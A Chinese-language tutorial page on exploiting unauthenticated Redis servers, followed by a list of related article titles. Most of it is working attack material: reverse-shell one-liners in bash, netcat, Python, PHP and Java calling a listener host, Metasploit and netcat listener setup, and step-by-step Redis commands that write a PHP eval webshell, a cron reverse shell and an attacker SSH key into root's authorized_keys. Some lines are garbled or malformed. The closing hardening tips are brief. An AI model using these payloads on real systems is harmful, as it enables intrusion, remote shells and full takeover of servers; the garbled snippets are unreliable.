当前位置: 首页 > news >正文

网安-中间件-Redis未授权访问漏洞

目录

Redis

Redis持久化

动态修改配置

使用反弹连接的情况

常见监听端口的方式

常见建立反弹连接的方式

流程

Linux crontab

cron文件存储路径

利用Redis实现攻击

1.webshell提权案例

2.定时任务shell反弹案例

3.SSH Key getshell案例

​编辑Redis其他利用方式

Redis加固


Redis

1.数据类型丰富,应用场景广泛
2.纯内存的数据结构,读写速度快
3.功能特性丰富(持久化、事务、pipeline、多语言支持、集群分布式)

Redis持久化

RDB Redis DataBase (默认)
AOF Append Only File

配置:
1.save 3600 1 #自动触发规则
2.dbfilename dump.rdb #文件名
3.dir ./ #存储路径

手动触发保存命令:save / bgsave

动态修改配置

config set:动态修改配置,重启以后失效
config set dir /var/www/html
config set dbfilename redis.php

使用反弹连接的情况

1.内网,私有IP
2.IP动态变化
3.6379端口不允许入方向
4.一句话木马被杀软删除

常见监听端口的方式

类型命令
netcatnc -lvnp 8888
msfmsfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.6.131
set lport 8888
run
socat socat TCP-LISTEN:8888 - (kali)

常见建立反弹连接的方式

类型命令
Linux bashbash -i >& /dev/tcp/192.168.6.131/8888 0>&1
netcatnc -e /bin/bash 192.168.6.131 8888
Pythonpython - c " import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.142.44',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);
PHPphp -r 'exec("/bin/bash -i >& /dev/tcp/192.168.6.131 8888");'
php -r '$sock=fsockopen("192.168.6.131",8888);exec("/bin/bash -i<&3 >&3 2>&3");'
Javar=Runtime.getRuntime()
p= r.(["/bin/bash","-c",exec 5<>/dev/tcp/192.168.6.131/8888;cat<&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
......

bash反弹连接 

bash -i >& /dev/tcp/192.168.6.131/8888 0>&1

打开一个交互式的bash终端

与远程机器建立一个socket连接

将标准错误输出合并到标准输出中
将标准输入重定向到标准输出中

防火墙CentOS
systemctl status firewalld
systemctl start firewalld
firewall-cmd --zone=public --add-port=7777/tcp -- permanent
firewall-cmd --reload
systemctl stop firewalld 

流程

1.监听端口
2.执行命令,或者上传payload访问,建立连接

上传

1.文件上传漏洞
2.写入文件:MySQL、Redis、CMS
3.文本编辑命令:tee(vulnhub-breach)、test.py(vulnhub-DC9)
执行
访问或者定时任务自动触发 

Linux crontab

命令操作
crontab -u root -r删除某个用户的任务
crontab -u root time.cron把文件添加到某个用户的任务
crontab -u root -l列举某个用户的任务
crontab -u root -e编辑某个用户的任务

cron文件存储路径

路径内容
/var/spool/cron这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
/etc/crontab放的是对应周期的任务dalily、hourly 、monthly、weekly


利用Redis实现攻击

1.webshell提权案例

server:192.168.6.66

client:192.168.6.131

client:写入一句话木马

set h "<?php @eval($_POST[cmd]); ?>"

 server:利用蚁剑连接


2.定时任务shell反弹案例

client: 在定时任务里写入反弹shell

 set m "\n* * * * * bash -i >& /dev/tcp/192.168.6.131/8888 0>&1\n"

 server:查看定时任务

 client:反弹成功

3.SSH Key getshell案例

SSH key免密登录
1.客户端生成密钥对(公钥、私钥)
2.客户端把公钥发给服务端保存(正常情况需要密码)
3.客户端用私钥加密消息,发给服务端
4.服务端用公钥解密,解密成功,说明密钥匹配
5.客户端免密登录成功

“你之前保存了我的公钥,所以可以解密我的消息,所以认得我”

redis利用SSH Key提权流程
控制机连接到Redis
向$HOME/.ssh/authorized_keys写入公钥
ssh -i ./id_rsa user@IP 使用私钥免密登录
执行后续操作

前提:server有.ssh

 client:生成密钥

 ssh-keygen

set mmm "\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9KGMsE6w9Ocjp2q3u0kqCSSrG6IwtP2/w92knpb+PRV8XXNQSAtIi/zMefBh0XLyMOoZ+6zBU7jz6Xfzsa9f6KtAegDtEGHAv/9iFsklMs8WnM2q0CJ8xw4wZztCAl5Aiy06iWcb10pJBNCcWhm5NGe8ZjSaIaLLNYLKqN3I2WxWB8hYHtBCU4fdoEc/eXKGhG6lip0WNV9tTgb0NI352wl7QcbjGK0+cl1inryb7TXkftoxgLXgMq7o4SSchCpNPvlESfKJ6C9BXC09Z/4Tu/fHLZ6pFXj6jfZfX0TKMsaiW6XFhvYtQUDWZc23zhCBXecpJzNfYosXDONnGpNWf root@localhost.localdomain\n\n\n"

server:

 client利用私钥登录

ssh -i ./id_rsa root@192.168.6.66

Redis其他利用方式

基于主从复制的RCE(Remote Code Execution)
jackson 反序列化利用
lua RCE
Redis密码爆破

Redis加固

1.限制访问IP
2.修改默认端口
3.使用密码St访ruct问ured Query Language
4.不要用root运行Redis

http://www.dtcms.com/a/299285.html

相关文章:

  • Flutter控件归纳总结
  • 解决VSCode中Github Copilot无法登陆的问题
  • 从零开始的云计算生活——第三十六天,山雨欲来,Ansible入门
  • Windows 平台源码部署 Dify教程(不依赖 Docker)
  • 电脑开机后网络连接慢?
  • Rust嵌入式开发实战
  • 垃圾回收算法与垃圾收集器
  • 数字迷雾中的安全锚点:解码匿名化与假名化的法律边界与商业价值
  • 深入解析三大Web安全威胁:文件上传漏洞、SQL注入漏洞与WebShell
  • MySQL 8.0 OCP 1Z0-908 题目解析(37)
  • Qt 异步编程模式与应用
  • LeetCode——1717. 删除子字符串的最大得分
  • JVM参数
  • 7月26日京东秋招第一场第二题
  • sssss
  • python面向对象编程详解
  • 机器学习的工作流程
  • JVM-GC 相关知识
  • 配置DNS正反向解析
  • 深度学习(鱼书)day03--神经网络(后两节)
  • 【教程】无需迁移IDE!Augment原生插件实现Cursor无缝平替 Claude-4无限用
  • ClickHouse高性能实时分析数据库-消费实时数据流(消费kafka)
  • Flutter开发实战之路由与导航
  • Redis面试精讲 Day 5:Redis内存管理与过期策略
  • HTTP 协议的基本格式和 fiddler 的用法
  • 15.6 DeepSpeed+Transformers实战:LLaMA-7B训练效率提升210%,显存直降73%
  • Spring Boot 项目启动自动执行逻辑的最佳实践:掌握 CommandLineRunner
  • Windows11下和Vmware中的Ubuntu22.04设置samba服务遇到的一个问题- valid users和guest设置冲突
  • 【架构师从入门到进阶】第五章:DNSCDN网关优化思路——第十节:网关安全-单向加密
  • k8s之控制器详解